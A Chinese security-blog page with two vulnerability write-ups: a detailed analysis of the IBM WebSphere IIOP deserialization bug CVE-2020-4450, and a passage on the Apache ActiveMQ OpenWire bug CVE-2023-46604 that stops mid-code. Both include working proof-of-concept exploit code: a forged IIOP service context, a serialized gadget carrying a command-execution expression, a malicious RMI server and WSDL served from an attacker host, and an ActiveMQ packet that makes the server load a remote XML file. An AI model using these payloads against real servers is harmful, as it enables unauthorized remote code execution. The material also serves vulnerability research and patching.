GVKun编程网logo

WebSphere远程代码执行漏洞分析(weblogic远程代码执行漏洞cve-2019-2729)

11

在本文中,我们将为您详细介绍WebSphere远程代码执行漏洞分析的相关知识,并且为您解答关于weblogic远程代码执行漏洞cve-2019-2729的疑问,此外,我们还会提供一些关于ApacheA

在本文中,我们将为您详细介绍WebSphere远程代码执行漏洞分析的相关知识,并且为您解答关于weblogic远程代码执行漏洞cve-2019-2729的疑问,此外,我们还会提供一些关于Apache ActiveMQ 远程代码执行漏洞分析、Apache FreeMarker模板FusionAuth远程代码执行漏洞分析、Apache Log4j 远程代码执行漏洞源码级分析、Apache ShardingSphere ElasticJob-UI <3.0.2 远程代码执行漏洞的有用信息。

本文目录一览:

WebSphere远程代码执行漏洞分析(weblogic远程代码执行漏洞cve-2019-2729)

WebSphere远程代码执行漏洞分析(weblogic远程代码执行漏洞cve-2019-2729)


该漏洞本身其实并不是非常好用,但是对于分析来说,确实是今年以来比较有意思的一个漏洞了,值得所有做Java漏洞研究的人员进行跟进和学习。


0x01 漏洞概述

IBM WebSphere Application Server(后面简称WAS)在今年6月发布了一则漏洞通告,cve编号为:CVE-2020-4450。该漏洞允许攻击者通过iiop向WAS进行网络请求,最终在WAS上执行任意代码。

在7月,ZDI公布了漏洞细节,同天iswin师傅也发布了他对此漏洞的分析,8月6日,360cert的小伙伴也公布了他自己的分析,本文是参考以上三篇文章完成的,主要用于记录自己的调试过程,以及补充相关的分析细节。


0x02 漏洞分析

该漏洞主要分为三部分:

  • TXServerInterceptor拦截器处理iiop请求

  • 利用WSIF构造Gadget

  • 伪造wsdl文件完成漏洞利用

本文将从上而下将三部分进行串流分析,主要采用静态跟踪,最后会在漏洞利用部分分享如何创建相关数据流完成整条流程的串通。


2.1 TXServerInterceptor拦截器处理iiop请求

这一部分tinit0在19年的bh上其实已经做了相关的分享,这里只是记录一下自己的跟进流程。

TXServerInterceptor具体代码在

com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request,这里只截关键部分的代码:

拦截器首先会根据ServerRequestInfo实例化ServiceContext对象,当serviceContext.context_data对象非空时可以进入TxInterceptorHelper.demarshalContext解析流程,而这里就是漏洞的起始点。

跟进TxInterceptorHelper.demarshalContext()方法:

对Corba处理稍微熟悉一点的可以很明显的看出这里为Corba rpc流程中的解包流程。根据传入的bypte数组初始化CDRInputStream对象用于后续进行反序列化操作。在完成CDRInputStream初始化后,调用read_any()方法初始化Any对象。

由于IBM自己重新实现了具体的IIOP解析流程,所以不能先入为主的用JDK原生处理逻辑来思考后续漏洞调用流程。

我们首先来跟进一下CDRInputStream的初始化逻辑,后续流程会用到其所定义的CDRReader

这里最终返回EncoderInputStream对象,并设置reader对象为com.ibm.rmi.iiop.CDRInputStreamreader会在后续流程中用到。

现在跟进inputStream.read_any()

具体实现为com.ibm.rmi.iiop.CDRInputStream#reade_any。由于CDRInputStream中未实现read_any()方法则调用com.ibm.rmi.iiop.CDRReader#read_any

其中最为关键的逻辑就是Any.read_value()。到这里为止,经历了以下流程:

CDRInputStream初始化 ->CDRInputStream.read_any() ->CDRInputStream.read_value()

看过之前那篇简述Corba文章的,可能已经清楚了,JDK原生实现逻辑在后续会触发反序列化流程,而IBM的实现方式却不尽相同,后续会触发反射调用的流程。

跟进Any.read_value()方法:

首先会将传入的TypeCode转化为真正的TypeCode,之后调用TCUtility.unmarshalIn()对传入的InputStream进行解包操作,想要查看全部的TypeCode的话,可以查看org.omg.CORBA.TCKind#from_int。这里我们重点关注tk_value,也就是TypeCode为29的情况:

接下来的调用逻辑为:

org.omg.CORBA_2_3.portable.InputStream#read_value ->com.ibm.rmi.iiop.EncoderInputStream#read_value ->com.ibm.rmi.iiop.CDRReader#read_value

com.ibm.rmi.iiop.CDRReader#read_value()中存在关键逻辑:

this.fast_read_value_ludcl();中对this.valueClass进行了初始化:

最终通过com.ibm.rmi.util.ClassCache#loadClass调用JDK反射完成类的实例化。这里不做重点跟踪,感兴趣的可以自己跟一下。

这里主要跟进一下his.valueHandler.readValue()方法的处理流程:

调用了this.inputStreamBridge.simpleReadObject()最终返回一个Serializable对象,继续跟进:

红框标注了两个重要的流程,simpleReadObjectInternal方法和simpleReadObjectLoop,这两个方法存在一定的区别。


simpleReadObjectInternal

simpleReadObjectInternal首先根据valueClass的类型进行流程分派,之后会向上轮询查找父类同时将subClass保存在pendingReadStack中。判断父类是否存在readObject方法,如果没有则将完成初步处理的对象传入simpleReadObjectLoop中对其子类进行反序列化。

这里会会向上轮询查找父类同时将subClass保存在pendingReadStack中,跟进看一下addSubclass()方法:

其将相关信息都进行了设置,这些设置在simpleReadObjectLoop中会用到。继续跟进:

此处会判断父类中是否存在readObject方法,若不存在则完成后续处理逻辑并进入simpleReadObjectLoop逻辑之中。


simpleReadObjectLoop

simpleReadObjectLoop会遍历pendingReadStack中的子类,并调用continueSimpleReadObject()方法尝试反序列化。

此处的var2.objvar2.classDescvar2.fvdsimpleReadObjectInternal中都已经进行了设置。跟进inputObjectUsingClassDesc()方法,和simpleReadObjectInternal是相同的逻辑,先判断是否存在readObject方法,如果存在则调用readObject方法进行反序列化操作:

至此漏洞的触发点就梳理完毕了。


2.2 利用WSIF构造Gadget

2.2.1 WSIF更改执行流

在具体梳理漏洞gadget前,先用一个例子来简单介绍一下Apache WSIF

WSIF全称Web服务调用框架,是一组用于调用Web服务的Java API。其和wsdl描述文件强关联,wsdl文件用于描述与Web服务的抽象结构进行交互,可以理解为Web服务API的描述文件。

首先创建一个接口,该接口用于与对应的wsdl文件对应:

然后本地实现Gadget接口,这里为了简单,直接将exec()方法实现为执行命令:

具体的调用为:

WSIFServiceFactory.getService()方法文档如下:

可以看到这里主要需要以下几个参数:

  • javax.wsdl.Definition:wsdl文件的位置

  • portTypeNs:用于标识port的NameSpace,相当于配置的命名空间

  • portTypeNameport的名字,在wsdl中portType为接口对象的xml表示

这里的WSIFService.getStub(Gadget.class)方法最终返回的是一个Gadget类型的代理对象。

wsdl文件定义如下:

<?xml version="1.0" ?>
<definitions targetNamespace="http://wsifservice.addressbook/" xmlns:tns="http://wsifservice.addressbook/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/" xmlns:java="http://schemas.xmlsoap.org/wsdl/java/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <message name="ExecRequestMessage"> <part name="command" type="xsd:string"/> </message>
<!-- port type declns --> <portType name="Gadget"> <operation name="exec"> <input name="ExecRequest" message="tns:ExecRequestMessage"/> </operation> </portType>
<!-- binding declns --> <binding name="JavaBinding" type="tns:Gadget"> <java:binding/> <format:typeMapping encoding="Java" style="Java"> <format:typeMap typeName="xsd:string" formatType="java.lang.String" /> </format:typeMapping> <operation name="exec"> <java:operation methodName="exec" parameterOrder="command" methodType="instance" /> </operation> </binding>
<!-- service decln --> <service name="GadgetService"> <port name="JavaPort" binding="tns:JavaBinding"> <java:address className="com.lucifaer.wsif_gadget.service.GadgetImpl"/> </port> </service>
</definitions>

运行效果如下:

现在我们在不改动Main代码的情况下(即不改变运行逻辑)让其执行el表达式解析(即实现不同的逻辑)。为了方便测试,只改变Mainexec()方法的参数(可以理解为这里是可控的值):

修改wsdl如下:

执行结果如下:

通过上面两个例子可以简单的将WSIF理解为接口的描述文件,而接口方法的具体实现是根据wsdl配置而进行绑定的

所以当在面对一个存在WSIF调用的逻辑时,可以考虑使用自定义的wsdl来将执行流引向符合条件的其他实现中


2.2.2 Gadget执行流

根据ZDI的文章,tint0找到了一个存在readObject方法的类,并且该类会触发JNDI逻辑,这个类就是org.apache.wsif.providers.ejb.WSIFPort_EJB

HomeHandle.getEJBHome()虽然也会触发JNDI流程,但是由于在具体实现时没有对返回回的代理类对象的相关方法进行引用,无法触发后续的gadget逻辑,所以此处需要构造一个Handle对象,而非一个HomeHandle对象。

现在我们可以先继续跟着Handle.getEJBObject()的逻辑向下看,看到后面就可以理解为什么选择构造Handle对象了。

跟进com.ibm.ejs.container.EntityHandle#getEJBObject,此处是整个Gadget的主要执行逻辑:

总结一下分为三步:

  • JNDI返回一个EJBHome类型的对象

  • 检查返回对象的EJBHome对象是否存在findByPrimaryKey方法

  • 反射调用EJBHome对象的findByPrimaryKey对象

首先来看

home = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.homeJNDIName), homeClass);

由于最终返回类型为EJBHome,可以得知homeClassEJBHome接口的具体实现类,且ctx.lookup(this.homeJNDIName)必须为EJBHome子类。

接着跟进com.ibm.ejs.container.EntityHandle#findFindByPrimaryKey查看homeClass需要满足的条件:

可以看到必须存在findByPrimaryKey方法。在EJBHome的继承树中寻找符合条件的类有:

com.ibm.ejs.security.registry.RegistryEntryHomecom.ibm.ws.batch.AbstractResourceHomecom.ibm.ws.batch.CounterHomecom.ibm.ws.batch.LocalJobStatusHome

目前先不管构造哪个接口的具体实现类,先来看一下ctx.lookup()的具体实现,调用栈:

com.sun.jndi.rmi.registry.RegistryContext#lookupcom.sun.jndi.rmi.registry.RegistryContext#decodeObjectjavax.naming.spi.NamingManager#getObjectInstance


org.apache.aries.jndi.OSGiObjectFactoryBuilder#getObjectInstance(java.lang.Object, javax.naming.Name, javax.naming.Context, java.util.Hashtable<?,?>)org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstance


跟进

org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories(java.lang.Objectjavax.naming.Namejavax.naming.Context,java.util.Hashtable<?,?>, 

javax.naming.directory.Attributes)

这里的factoryObjectFactory接口的具体实现,而factory是可以通过environment自定义实现的,所以这里可以通过修改environment的配置更改执行流。

tint0这里找到的可以用ObjectFactoryorg.apache.wsif.naming.WSIFServiceObjectFactory

由于ctx.lookup()最终要求返回的是EJBHome的实现类,而WSIFService接口并非EJBHome的子类,所以选择下面的流程。根据2.2.1中的叙述,可以明显的看出这里调用了WSIF流程。

这里重新放一下WSIFServiceFactory.getService()方法的文档:

对应实现的代码:

注意红框标注的相关代码,WSIF所需要的基础参数我们都可以通过Reference对象获得。通过指定className,我们还可以指定生成的stub动态代理对象的类型,当设置其为EJBHome的具体实现类时,可以完美的匹配我们之前的需求。

而通过自定义wsdl文件,我们可以将接口方法映射到其他的具体实现中,改变具体接口的执行流。


2.3 伪造wsdl文件完成漏洞利用

根据2.2.2中的内容,我们回看触发JNDI流程处的代码:

在2.2.2中也说过,这里的home对象要满足两个条件:

  • EJBHome的具体实现类

  • 存在findByPrimaryKey方法

搜索EJBHome的继承树,满足条件的有:

com.ibm.ejs.security.registry.RegistryEntryHomecom.ibm.ws.batch.AbstractResourceHomecom.ibm.ws.batch.CounterHomecom.ibm.ws.batch.LocalJobStatusHome

所以如果构造Reference对象中的className为其中一个类,并设置好wsdl文件中对应接口方法的映射,即可完成我们想要控制的逻辑。

仔细研究一下上面所列举的可用的EJBHome接口子类:

其中com.ibm.ws.batch.CounterHome是最容易构造的,可以配合javax.el.ELProcessor执行el表达式,最终导致命令执行。

所以只需要造好wsdl,让CounterHomefindByPrimaryKey方法的具体实现指向javax.el.ELProcessoreval方法,在返回了CounterHome动态代理对象后,会利用反射调用其findByPrimaryKey也就是我们通过wsdl绑定的javax.el.ELProcessor#eval方法,完成表达式执行。

攻击流程可以总结如下:

至此漏洞梳理完毕。


0x03 漏洞利用

根据0x02的分析,可以得出想要利用成功该漏洞所需的必备因素:

  • IIOP请求构造(满足进入触发点的context)

  • 构造org.apache.wsif.providers.ejb.WSIFPort_EJB所需的序列化数据(最终反序列化对象的类型为Handle

  • 构造wsdl文件更改接口方法的具体实现

  • 构造JNDI server使其返回指定的Reference对象

接下来会对上述流程进行逐一叙述。


3.1 IIOP请求构造

回看com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request

要注意两个点:

  • ServiceContext.context_data非空,且包含我们构造的序列化Gadget

  • TxProperties.SINGLE_PROCESStrue

重点来看一下ServiceContext获取逻辑,跟进((ExtendedServerRequestInfo)sri).getRequestServiceContext(0),调用逻辑如下:

com.ibm.rmi.pi.ServerRequestInfoImpl#getRequestServiceContextcom.ibm.rmi.iiop.ServerRequestImpl#getServiceContextcom.ibm.rmi.iiop.RequestMessage#getServiceContextcom.ibm.rmi.iiop.ServiceContextList#getServiceContext

根据调用栈我们可以看到是从com.ibm.rmi.iiop.RequestMessage对象中获取ServiceContext对象的,在etServiceContext方法中:

会遍历ServiceContextList,提取id为0ServiceContext。但是由于没有编号为0ServiceContext,所以返回的是空。

仔细读一下官方文档,官方文档中有提及如何在RMI请求中插入ServiceContext的做法,可以参考文档进行理解:

可以看到最终是调用ExtendedClientRequestInfo(ClientRequestInfo的父类)的add_request_service_context方法完成自定义ServiceContext的设置。那么关键点就是,我们如何从client端将ServiceContext设置到ExtendedClientRequestInfo中。

在跟踪了ibm自定义的通信过程后,可以发现在ORB中的GIOPImpl在调用createRequest方法时会实例化ClientRequestImpl对象:

这里有两个地方需要注意:

  • 获取Connection对象

  • 根据获取的Connection对象获取ServiceContext

首先先看一下是如何从Connection对象中获取到ServiceContext的:

可以看到直接是调用Connection#getServiceContexts方法。

之后跟进ClientRequestImpl初始化逻辑:

将获取到的ServiceContext作为参数传入到RequestMessage的构造函数中。这里就和服务端跟到的逻辑相符。

梳理一下思路,构造IIOP请求的关键点为:

  • 进行第一次请求,初始化获取到的Context对象

  • 获取ORB

  • 获取ORB中的GIOPImpl

  • 获取Connection对象

  • 调用setConnectionContexts将构造好的ServiceContext设置到Connection对象中

  • 进行第二次请求,触发RequestMessage对象的重新发送

具体构造可以动态调试一下,利用反射完成相关的值设置。

最终构造如下:

Properties env = new Properties();env.put(Context.PROVIDER_URL, "iiop://192.168.211.128:2809");env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
InitialContext context = new InitialContext(env);context.list("");
Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");f_defaultInitCtx.setAccessible(true);WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);
Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");f_context.setAccessible(true);CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);
Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");f_corbaNC.setAccessible(true);_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);
Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");f__delegate.setAccessible(true);ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);
Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");f_ior.setAccessible(true);IOR ior = (IOR) f_ior.get(clientDelegate);
Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");f_orb.setAccessible(true);ORB orb = (ORB) f_orb.get(clientDelegate);
GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, ClientDelegate.class, String.class);getConnection.setAccessible(true);Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "Lucifaer");Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);setConnectionContexts.setAccessible(true);
byte[] result = new byte[]{0, 0};

ServiceContext serviceContext = new ServiceContext(0, result);ArrayList v4 = new ArrayList();v4.add(serviceContext);setConnectionContexts.invoke(connection, v4);
context.list("");

3.2 构造所需的序列化数据

在2.1的分析中,我们知道要满足触发反序列化流程需要进行特殊构造。漏洞触发点为inputStream.read_any(),为了满足上方对inputStream相关数据的提取,所以需要特殊构造byte[]

既然存在demarshalContext方法,那一定存在marshalContext方法:

按照上面的方法直接生成符合要求的byte[]

CDROutputStream outputStream = ORB.createCDROutputStream();outputStream.putEndian();
Any any = orb.create_any();
PropagationContext propagationContext = new PropagationContext( 0, new TransIdentity(null, null, new otid_t(0, 0, new byte[0])), new TransIdentity[0], any);PropagationContextHelper.write(outputStream, propagationContext);result = outputStream.toByteArray();

在满足了触发点后,我们需要构造gadget满足条件:

  • 构造一个org.apache.wsif.providers.ejb.WSIFPort_EJB对象,其中还需要构造WSIFPort_EJB#readObject方法传入值反序列化得到一个javax.ejb.Handle对象。

  • 构造EntityHandle对象

3.2.1 生成WSIFPort_EJB序列化对象

直接看org.apache.wsif.providers.ejb.WSIFPort_EJB#writeObject

这里我们需要首先设置this.fieldEjbObject对象并调用其getHandle方法,生成一个Handle对象。这里的this.fieldEjbObjectEJBObject接口的具体实现。所以可以自己寻找一个具体实现类,并覆盖其getHandle方法。


3.2.2 构造EntityHandle对象

构造一个EntityHandle对象还是比较麻烦的,我们来理一下:

我们需要将homeJNDIName设置为我们自己定义的RMI Server地址,同时key是最终传入findByPrimaryKey的参数,需要构造为我们要执行的代码,所以需要构造特殊的BeanId对象:

同时为了将之后RMI流程指向org.apache.wsif.naming.WSIFServiceObjectFactory,需要我们在Properties对象中设置相关的environment

我们首先构造BeanId。跟进com.ibm.ejs.container.BeanId#getJNDIName

所以还需要构造HomeInternal的具体实现对象,并使其返回String类型。

整理一下需要构造的HomeInternal对象的需求:

  • 构造J2EEName对象,满足要求

  • 寻找一个HomeInternal的具体实现对象,其getJNDIName方法返回String,且返回不受到pkey干扰

查看继承树后,发现EJSHome抽象类满足要求:

所以梳理一下思路:

  • 实例化EJSHome接口实现类

  • 实例化J2EEName对象

  • 反射设置J2EENameEJSHome接口实现类

  • 反射设置EJSHome接口实现类
    this.jndiName变量为RMI Server的地址

  • 实例化BeanId

  • 实例化BeanMetaData

  • 实例化Properties

这里重写了com.ibm.ejs.container.EJSWrapper

public Handle getHandle() {
Handle var2 = null; try { SessionHome sessionHome = new SessionHome(); J2EEName j2EEName = new J2EENameImpl("aa","aa","aa"); Field j2eeName = EJSHome.class.getDeclaredField("j2eeName"); j2eeName.setAccessible(true); j2eeName.set(sessionHome,j2EEName); Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName"); jndiName.setAccessible(true); jndiName.set(sessionHome,"rmi://127.0.0.1:1099/poc"); Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec(''open /Applications/Calculator.app'')\")"; //Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"ifconfig\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")"; BeanId beanId = new BeanId(sessionHome,key,true); BeanMetaData beanMetaData = new BeanMetaData(1); beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class; Properties initProperties = new Properties(); initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory"); Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class); c.setAccessible(true); var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties); } catch (Exception e) { e.printStackTrace(); } return var2;}

3.3 构造RMI Server绑定

根据2.2.2的分析,我们最终的RMI流程会进行到org.apache.wsif.naming.WSIFServiceObjectFactory中:

所以我们需要构造一个恶意的RMI Server,其应该满足以下要求:

  • 返回一个WSIFServiceStubRef对象

  • 指定用于后续调用WSIF流程的基础参数:

    • wsdLoc

    • serviceNS

    • serviceName

    • portTypeNS

    • portTypeName

    • preferredPort

  • 设置classNamecom.ibm.ws.batch.CounterHome

以上有关WSIF的参数设置,可以参考2.2.1中的叙述,这里就不再过多重复了。

最终可以构造RMI Server如下:

public class RmiServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1097); Reference ref = new Reference(WSIFServiceObjectFactory.class.getName(), null, null); ref.add(new StringRefAddr("wsdlLoc", "http://192.168.211.1:9999/poc.wsdl")); ref.add(new StringRefAddr("serviceNS", null)); ref.add(new StringRefAddr("serviceName", null)); ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/")); ref.add(new StringRefAddr("portTypeName", "Gadget")); ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("poc", referenceWrapper); }}

3.4 构造WSDL文件

这一部分参考2.2.1中叙述,这里直接给出wsdl文件的内容:

<?xml version="1.0" ?>
<definitions targetNamespace="http://wsifservice.addressbook/" xmlns:tns="http://wsifservice.addressbook/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/" xmlns:java="http://schemas.xmlsoap.org/wsdl/java/" xmlns="http://schemas.xmlsoap.org/wsdl/">
<!-- type defs -->
<!-- message declns --> <message name="findByPrimaryKeyRequest"> <part name="el" type="xsd:string"/> </message>
<message name="findByPrimaryKeyResponse"> <part name="counterObject" type="xsd:object"/> </message>
<!-- port type declns --> <portType name="Gadget"> <operation name="findByPrimaryKey"> <input message="findByPrimaryKeyRequest"/> <output message="findByPrimaryKeyResponse"/> </operation> </portType>
<!-- binding declns --> <binding name="JavaBinding" type="tns:Gadget"> <java:binding/> <format:typeMapping encoding="Java" style="Java"> <format:typeMap typeName="xsd:string" formatType="java.lang.String"/> <format:typeMap typeName="xsd:object" formatType="java.lang.Object"/> </format:typeMapping> <operation name="findByPrimaryKey"> <java:operation methodName="eval" parameterOrder="el" methodType="instance" returnPart="counterObject" /> </operation> </binding>
<!-- service decln --> <service name="GadgetService"> <port name="JavaPort" binding="tns:JavaBinding"> <java:address className="javax.el.ELProcessor"/> </port> </service>
</definitions>

3.5 整合poc

最后将3.2构造好的WSIFPort_EJB序列化对象写入3.1构造好的IIOP请求中:

至此poc构造完毕。

攻击效果如下:


0x04 参考

https://www.zerodayinitiative.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere
https://www.secrss.com/articles/24353
https://cert.360.cn/report/detail?id=3d016bdef66b8e29936f8cb364f265c8
https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
https://publib.boulder.ibm.com/tividd/td/ITMFTP/SC32-9412-00/en_US/HTML/arm48.htm
https://publib.boulder.ibm.com/tividd/td/ITMFTP/SC32-9412-00/en_US/HTML/arm48.htm
[http://ws.apache.org/wsif/index.html][http://ws.apache.org/wsif/index.html]


往期精彩


登陆页面的检测及渗透

渗透实战篇(一)

渗透测试信息收集的方法

常见Web中间件漏洞利用及修复方法

内网渗透 | 流量转发场景测试

Waf从入门到Bypass

实战渗透-看我如何拿下学校的大屏幕

技术篇:bulldog水平垂直越权+命令执行+提权

渗透工具实战技巧大合集 | 先收藏点赞再转发一气呵成


感兴趣的可以点个关注!!!

关注「安全先师」
把握前沿安全脉搏



本文分享自微信公众号 - 安全先师(gh_d61f62dd440d)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

Apache ActiveMQ 远程代码执行漏洞分析

Apache ActiveMQ 远程代码执行漏洞分析

【直播预告】程序员逆袭 CEO 分几步?

漏洞简介

Apache ActiveMQ 官方发布新版本,修复了一个远程代码执行漏洞(CNVD-2023-69477  CVE-2023-46604),攻击者可构造恶意请求通过 Apache ActiveMQ 的 61616 端口发送恶意数据导致远程代码执行,从而完全控制 Apache ActiveMQ 服务器。

影响版本

Apache ActiveMQ 5.18.0 before 5.18.3
Apache ActiveMQ 5.17.0 before 5.17.6
Apache ActiveMQ 5.16.0 before 5.16.7
Apache ActiveMQ before 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16

环境搭建

没有找到合适的 docker 镜像 ,尝试自己进行编写

可以站在巨人的肩膀上进行编写利用 利用项目 https://github.com/zer0yu/dfimage 分析镜像的 dockerfile

docker pull islandora/activemq:2.0.7
dfimage islandora/activemq:2.0.7

image

结合 https://activemq.apache.org/version-5-getting-started

image

Dockerfile

FROM ubuntu
#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i ''s/archive.ubuntu.com/mirrors.aliyun.com/g'' /etc/apt/sources.list
RUN sed -i ''s/security.ubuntu.com/mirrors.aliyun.com/g'' /etc/apt/sources.list
RUN apt-get update -y
RUN apt-get install wget -y
RUN apt install openjdk-11-jre-headless -y
COPY apache-activemq-5.18.2-bin.tar.gz  /
#RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz 
RUN chmod 755 /apache-activemq-5.18.2/bin/activemq
RUN echo  ''#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null'' > start.sh
RUN chmod +x start.sh
EXPOSE 8161 61616

CMD ["/start.sh"]


## 默认启动后 8161 的管理端口仅能通过 127.0.0.1 本地地址进行访问 可以通过修改 /conf/jetty.xml 

docker-compose.yml

version: "2.2"
services:
  activemq:
    build: .
    ports:
      - "8161:8161"
      - "61616:61616"

image

./activemq start
./activemq status
./activemq console
netstat -tuln | grep 8161
netstat -tuln | grep 61616

漏洞分析

下载源代码 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip

开启调试只需要修改 apache-activemq-5.18.2\bin\activemq

image

https://github.com/apache/activemq/compare/activemq-5.18.2..activemq-5.18.3

image

image

新版本的修复位置是在

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable

image

ClassName 和 message 可控,代表着可以调用任意类的 String 构造方法,AvtiveMQ 内置 Spring,结合 org.springframework.context.support.ClassPathXmlApplicationContext​ 加载远程配置文件实现 SPEL 表达式注入。

【---- 帮助网安学习,以下所有学习资料免费领!领取资料加 we~@x:dctintin,备注 “开源中国” 获取!】

① 网安学习成长路径思维导图
② 60 + 网安经典常用工具包
③ 100+SRC 漏洞分析报告
④ 150 + 网安攻防实战技术电子书
⑤ 最权威 CISSP 认证考试指南 + 题库
⑥ 超 1800 页 CTF 实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP 客户端安全检测指南(安卓 + IOS)

寻找调用该方法的位置

image

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable

image

继续向上寻找调用

image

网上大部分都选用了 ExceptionResponseMarshaller​ 我们也基于此进行分析

org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal

image

​继续向上寻找调用

image

org.apache.activemq.openwire.OpenWireFormat#doUnmarshal

image

我们看到此时 dsm 的值是基于传入的 dis.readByte();

image

<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>

ActiveMQ中默认的消息协议就是openwire

‍编写一个 ActiveMQ 的通信请求

 public static void sendToActiveMQ() throws Exception {
        /*
         * 创建连接工厂,由 ActiveMQ 实现。构造方法参数
         * userName 用户名
         * password 密码
         * brokerURL 访问 ActiveMQ 服务的路径地址,结构为: 协议名://主机地址:端口号
         */
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616");
        //创建连接对象
        Connection connection = connectionFactory.createConnection();
        //启动连接
        connection.start();
        /*
         * 创建会话,参数含义:
         * 1.transacted - 是否使用事务
         * 2.acknowledgeMode - 消息确认机制,可选机制为:
         *  1)Session.AUTO_ACKNOWLEDGE - 自动确认消息
         *  2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制
         *  3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制
         */
        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        //创建目的地,也就是队列名
        Destination destination = session.createQueue("q_test");
        //创建消息生成者,该生成者与目的地绑定
        MessageProducer mProducer = session.createProducer(destination);
        //创建消息
        Message message = session.createTextMessage("Hello, ActiveMQ");
        //发送消息
        mProducer.send(message);
        connection.close();
    }

image

前面的调用栈为

doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:829, Thread (java.lang)

此时 datatype 为 1 调用的是 WireFormatInfoMarshaller 我们要想办法调用 datatype 为 31 的 ExceptionResponseMarshaller

花式触发 ExceptionResponseMarshaller

现在我们的目的就是为了去调用 ExceptionResponseMarshaller

寻找触发 ActiveMQ 中的 ExceptionResponse

image

函数 org.apache.activemq.ActiveMQSession#asyncSendPacket​ 和

函数 org.apache.activemq.ActiveMQSession#syncSendPacket​ 都可以发送 command

最后会调用到 org.apache.activemq.transport.tcp.TcpTransport#oneway​ 也可以通过 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);​ 和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);​来触发

image

    public static void ExceptionResponseExploit() throws Exception {
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
        Connection connection = connectionFactory.createConnection("admin","admin");
        connection.start();
        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        ExceptionResponse expetionResponse = new ExceptionResponse();
        expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
        ExploitSession.syncSendPacket(expetionResponse);
        //ExploitSession.asyncSendPacket(expetionResponse);
